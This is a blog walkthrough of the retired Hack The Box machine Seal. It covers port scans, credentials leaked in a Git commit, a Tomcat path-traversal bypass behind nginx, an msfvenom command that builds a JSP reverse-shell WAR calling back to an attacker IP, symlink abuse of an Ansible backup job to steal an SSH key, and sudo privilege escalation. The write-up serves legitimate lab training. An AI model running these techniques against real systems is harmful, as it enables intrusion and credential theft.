This post documents the complete walkthrough of Seal, a retired vulnerable VM created by MrR3boot, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Seal is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p 1-65535,U:1-65535 10.10.10.250 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-07-12 04:13:30 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8080/tcp on 10.10.10.250
Discovered open port 443/tcp on 10.10.10.250
Discovered open port 22/tcp on 10.10.10.250

Nothing unusual with the open ports. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,443,8080 -A --reason 10.10.10.250 -oN nmap.txt
...
PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Issuer: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-05-05T10:24:03
| Not valid after:  2022-05-05T10:24:03
| MD5:   9c4f 991a bb97 192c df5a c513 057d 4d21
|_SHA-1: 0de4 6873 0ab7 3f90 c317 0f7b 872f 155b 305e 54ef
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|_  http/1.1
8080/tcp open  http-proxy syn-ack ttl 63
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 401 Unauthorized
|     Date: Mon, 12 Jul 2021 04:24:48 GMT
|     Set-Cookie: JSESSIONID=node0u6877t2gvl541m7igeljpk7v017.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest:
|     HTTP/1.1 401 Unauthorized
|     Date: Mon, 12 Jul 2021 04:24:47 GMT
|     Set-Cookie: JSESSIONID=node019x34j5x0s0wsep4rvx8jaifh15.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Mon, 12 Jul 2021 04:24:47 GMT
|     Set-Cookie: JSESSIONID=node0175nlxmbfvw781au6u02tq5gtg16.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck:
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest:
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4:
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5:
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html;charset=utf-8).

I’d better map 10.10.10.250 to seal.htb in /etc/hosts. This is what the service behind 443/tcp looks like.

On the other hand, this is what the service behind 8080/tcp looks like—GitBucket.

Directory/File Enumeration

Let’s see what we can glean from wfuzz and SecLists.

wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 --hc 404 https://seal.htb/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://seal.htb/FUZZ
Total requests: 4686

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000509:   302        0 L      0 W        0 Ch        "admin"
000001314:   302        0 L      0 W        0 Ch        "css"
000002079:   302        0 L      0 W        0 Ch        "host-manager"
000002121:   302        0 L      0 W        0 Ch        "icon"
000002150:   302        0 L      0 W        0 Ch        "images"
000002177:   200        518 L    1140 W     19737 Ch    "index.html"
000002334:   302        0 L      0 W        0 Ch        "js"
000002577:   302        0 L      0 W        0 Ch        "manager"

Total time: 6.569622
Processed Requests: 4686
Filtered Requests: 4678
Requests/sec.: 713.2829

Looks like we have a Tomcat container behind a nginx reverse proxy!

Credential Leak in Git Commits

After registering an account and getting into GitBucket, this is what I saw in the ac21032 commit.

We have creds and role-based privilege (manager-gui) for Tomcat Manager App HTML interface. One thing is for sure, SSL client certificate is required to access it.

We also know that the following is not done. :wink:

Tomcat Path Traversal Via Reverse Proxy Mapping

Googling for “nginx tomcat exploit” led me to this relatively obscured vulnerability documented by Acunetix and Orange Tsai.

The crux of the issue is,

Tomcat will threat the sequence /..;/ as /../ and normalize the path while reverse proxies (e.g. Nginx) will not normalize this sequence and send it to Apache Tomcat as it is.

How is this useful in this case? Check this out. We can go to the Tomcat Server Status page by navigating to the following after Basic authentication with the credential (tomcat:42MrHBf*z8{Z%).

https://seal.htb/manager/status

By changing the path to the following,

https://seal.htb/manager/status/..;/html

We are able to access the Tomcat Manager App HTML interface!

Foothold

Armed with this insight and Burp intercepting proxy, I was able to deploy a WAR containing a reverse shell written in JSP via the Tomcat Manager App HTML interface. The WAR can be generated from msfvenom like so.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.125 LPORT=1234 -f war -o evil.war

Paying a visit to https://seal.htb/evil gives me my reverse shell.

From tomcat to luis

During enumeration of tomcat’s account, I notice the presence of luis (UID 1000).

Further enumeration reveals that luis is the owner of /opt/backups/playbook/run.yml.

This is what it looks like.

run.yml
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup--.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

A quick look at Ansible’s documentation shows that synchronize is a wrapper around rsync. What’s interesting is the option copy_links=yes as shown here.

If I have to guess, I would say that it’s possible to create a symbolic link to /home/luis/.ssh/id_rsa, if it exists, in /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads and wait for the playbook to run and profit.

Check this out.

It’s world-writable y’all! Now, let’s put the hypothesis to test.

Awesome. Armed with luis’ SSH private key, we should be able to log in and retrieve user.txt.

Privilege Escalation

During enumeration of luis’ account, I notice that luis is able to sudo without password the following.

GTFOBins - ansible-playbook

This is rather trivial to exploit—simply execute a malicious Ansible playbook like so.

:dancer: